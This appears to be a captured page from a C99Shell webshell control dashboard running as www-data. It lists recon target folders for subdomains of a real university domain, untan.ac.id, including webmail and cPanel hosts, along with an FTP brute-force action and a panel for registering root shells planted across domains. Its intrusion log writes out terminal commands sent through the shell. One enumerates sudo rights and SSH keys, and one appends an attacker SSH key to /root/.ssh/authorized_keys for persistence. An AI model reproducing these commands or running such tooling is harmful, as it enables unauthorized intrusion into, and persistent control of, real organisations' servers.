C99SHELL DASHBOARDc99shell.tail7973d7.ts.net WebshellDBRoot 2026-08-03 08:13:27

!C99SHELL 2.0 [PHP 7 Update] [25.02.2019] !

Software: Apache/2.4.68 (Debian). PHP/8.2.33  

uname -a: Linux 9d2024043b5d 7.0.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 7.0.12-2kali1
(2026-06-18) x86_64  

uid=33(www-data) gid=33(www-data) groups=33(www-data)  

Safe-mode: OFF (not secure)

/var/www/html/   drwxrwxrwx
Free 115.58 GB of 452.4 GB (25.55%)

FilesCustom ToolsTargetsSysMonWatchReconCommanderOrigin IPSSH RootTermCoverPushEncoderToolsProc.FTP bruteSec.SQLPHP-codeSystemUpdateFeedbackSelf removeCVE DBLogout


INTEGRITY WATCH webshell safety · intrusion captureWatched: 4733Intact: 323Tampered: 1455New: 2955Missing: 0
Files watched4733
Intact323
Tampered1455
New files2955
Missing0
↻ Re-scan

File integrity — webshell safety

FileSizeModifiedSHA256Status
/var/www/html/c99shell.php329.88 KB03/08/2026 07:30ceed408fc5f4TAMPERED
/var/www/html/mysqli_compat.php16.49 KB03/08/2026 06:35eb1cbabaacd8TAMPERED
/var/www/html/dashboard_index.php15.61 KB03/08/2026 07:47e77c53b85a79TAMPERED
/var/www/html/srv_dump.php305 B03/08/2026 04:538431ba3d0257NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/recon.json228 B03/08/2026 07:592e6911246984NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webdisk.englishedu.untan.ac.id/info.txt15 B03/08/2026 07:59fb97dce3f0baTAMPERED
/var/www/html/targets/cpanel.ppm.untan.ac.id/recon.json220 B03/08/2026 07:58db8cb3d185ebNEW
/var/www/html/targets/cpanel.ppm.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/cpanel.ppm.untan.ac.id/info.txt15 B03/08/2026 07:58fb97dce3f0baTAMPERED
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/recon.json225 B03/08/2026 07:58bec4b8f9a854NEW
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/cpanel.helpdesk.untan.ac.id/info.txt15 B03/08/2026 07:58fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.skpp.untan.ac.id/recon.json222 B03/08/2026 08:00d6638c5ef73cNEW
/var/www/html/targets/webmail.skpp.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webmail.skpp.untan.ac.id/info.txt15 B03/08/2026 08:00fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.management.untan.ac.id/recon.json228 B03/08/2026 08:001fad4519f872NEW
/var/www/html/targets/webmail.management.untan.ac.id/data/README.md1.33 KB03/08/2026 07:03b3719324fc36NEW
/var/www/html/targets/webmail.management.untan.ac.id/info.txt15 B03/08/2026 08:00fb97dce3f0baTAMPERED
/var/www/html/targets/webmail.icb.untan.ac.id/recon.json221 B03/08/2026 08:00a521f42565feNEW
showing first 20 of 4410 changes

Intrusion log — every device that hit this agent

Total hits10016
Unique IPs3
Suspicious53
 
 
top IPs:172.17.0.1 x9824 10.217.96.182 x176 127.0.0.1 x16
TimeIPMethodPath / actionAgentFlag
03/08/2026 08:12:07127.0.0.1GET/c99shell.php []Mozilla/5.0normal
03/08/2026 08:10:49127.0.0.1GET/c99shell.php?act=c99terminal&troot=1&tcmd=id%3B+echo+%3D%3D%3DSUDO%3D%3D%3D%3B+sudo+-n+-l+2%3E%261+%7C+head+-20%3B+echo+%3D%3D%3DSSHDIR%3D%3D%3D%3B+ls+-la+%2Froot%2F.ssh%2F+2%3E%261%3B+ls+-la+%24HOME%2F.ssh%2F+2%3E%261%3B+echo+%3D%3D%3DAUTH%3D%3D%3D%3B+cat+%2Froot%2F.ssh%2Fauthorized_keys+2%3E%261% [c99terminal]Commander/2.0suspicious
03/08/2026 08:10:49127.0.0.1GET/c99shell.php?act=c99terminal&troot=1&tcmd=mkdir+-p+%2Froot%2F.ssh+%26%26+chmod+700+%2Froot%2F.ssh+%26%26+echo+ssh-ed25519+AAAAC3NzaC1lZDI1NTE5AAAAIFzpdvTdca9pUTZj8LLkhiPlqGQDyAfQABXvlWc7x7Da+redhat%40untan+%3E%3E+%2Froot%2F.ssh%2Fauthorized_keys+%26%26+chmod+600+%2Froot%2F.ssh%2Fauthorized_keys+%26 [c99terminal]Commander/2.0suspicious
03/08/2026 07:55:41127.0.0.1GET/c99shell.php []curl/8.14.1normal
03/08/2026 07:55:41127.0.0.1GET/ []curl/8.14.1normal
03/08/2026 07:51:11127.0.0.1GET/c99shell.php []curl/8.14.1normal
03/08/2026 07:51:10127.0.0.1GET/index.php []curl/8.14.1normal
03/08/2026 07:51:10127.0.0.1GET/dashboard_index.php []curl/8.14.1normal
03/08/2026 07:51:10127.0.0.1GET/dashboard_index.php []curl/8.14.1normal
03/08/2026 07:50:51127.0.0.1GET/c99shell.php?act=phpinfo [phpinfo]curl/8.14.1suspicious
03/08/2026 07:48:36127.0.0.1GET/ []curl/8.14.1normal
03/08/2026 07:48:36127.0.0.1GET/ []curl/8.14.1normal
03/08/2026 07:47:46127.0.0.1GET/c99shell.php []curl/8.14.1normal
03/08/2026 07:44:07127.0.0.1GET/c99shell.php []curl/8.14.1normal
03/08/2026 07:44:07127.0.0.1GET/c99shell.php []curl/8.14.1normal
Page 1 / 2 — 16 entries[Next >]
live tail — last 25 hits 
[03/08 08:13:27] 172.17.0.1 GET /c99shell.php?act=watch&hip=127.0.0.1 (watch)
[03/08 08:13:27] 172.17.0.1 GET /c99shell.php?act=ls&d=%2Fusr%2Flib%2Fx86_64-linux-gnu%2Fkrb5%2F&sort=0a (ls)
[03/08 08:13:27] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F&processes_sort=0d (processes)
[03/08 08:13:27] 172.17.0.1 GET /c99shell.php?act=update&d=%2Fvar%2Fwww%2Fhtml%2Frecon%2F (update)
[03/08 08:13:27] 172.17.0.1 GET /c99shell.php?act=fsbuff&d=%2Fvar%2Fwww%2Fhtml%2Frecon%2F (fsbuff)
[03/08 08:13:27] 172.17.0.1 GET /c99shell.php?act=cmd&d=%2Fvar%2Fwww%2Fhtml%2Fcovers%2F (cmd)
[03/08 08:13:26] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fvar%2Fwww%2Fhtml&f=uploads (chmod)
[03/08 08:13:26] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F&processes_sort=3a (processes)
[03/08 08:13:26] 172.17.0.1 GET /c99shell.php?act=search&d=%2Fvar%2Fwww%2Fhtml%2Fdocker-server%2F (search)
[03/08 08:13:26] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F&processes_sort=4a (processes)
[03/08 08:13:26] 172.17.0.1 GET /c99shell.php?act=f&d=%2Fusr%2Flib%2Fx86_64-linux-gnu%2Fldscripts&f=elf_iamcu.xe&ft=info (f)
[03/08 08:13:25] 172.17.0.1 GET /c99shell.php?act=tools&d=%2Fvar%2Fwww%2Fhtml%2Frome-webshell-main%2F (tools)
[03/08 08:13:25] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F&processes_sort=7a (processes)
[03/08 08:13:25] 172.17.0.1 GET /c99shell.php?act=f&d=%2Fvar%2Fwww%2Fhtml%2Fdocker-server&f=docker-compose.yml (f)
[03/08 08:13:25] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fvar%2Fwww%2Fhtml%2F__pycache__&f=commander.cpython-313.pyc (chmod)
[03/08 08:13:25] 172.17.0.1 GET /c99shell.php?act=tools&d=%2Fvar%2Fwww%2Fhtml%2Fcommander%2F (tools)
[03/08 08:13:25] 172.17.0.1 GET /c99shell.php?act=feedback&d=%2Fvar%2Fwww%2Fhtml%2Frecon%2F (feedback)
[03/08 08:13:25] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fvar%2Fwww%2Fhtml%2Frome-webshell-main%2F (chmod)
[03/08 08:13:25] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fvar%2Fwww&f=html (chmod)
[03/08 08:13:25] 172.17.0.1 GET /c99shell.php?act=ftpquickbrute&d=%2Fvar%2Fwww%2F (ftpquickbrute)
[03/08 08:13:25] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fvar%2Fwww%2Fhtml%2F&processes_sort=5a (processes)
[03/08 08:13:25] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fusr%2Flib%2Fx86_64-linux-gnu%2Fkrb5&f=plugins (chmod)
[03/08 08:13:25] 172.17.0.1 GET /c99shell.php?act=chmod&d=%2Fusr%2Flib%2Fx86_64-linux-gnu%2Fkrb5&f=.. (chmod)
[03/08 08:13:24] 172.17.0.1 GET /c99shell.php?act=processes&d=%2Fproc%2Firq%2F&processes_sort=9a (processes)
[03/08 08:13:24] 10.217.96.182 GET /c99shell.php?act=encoder&d=%2Fvar%2Fwww%2Fhtml%2F (encoder)
🔴 LIVE

Root shells planted across domains

Domains with shells.txt0
Registered heartbeats1
Alive1
↻ Heartbeat check all
DomainShells.txtShell URLLast checkCodeAlive

Register / update shell URL

Domain:  Shell URL: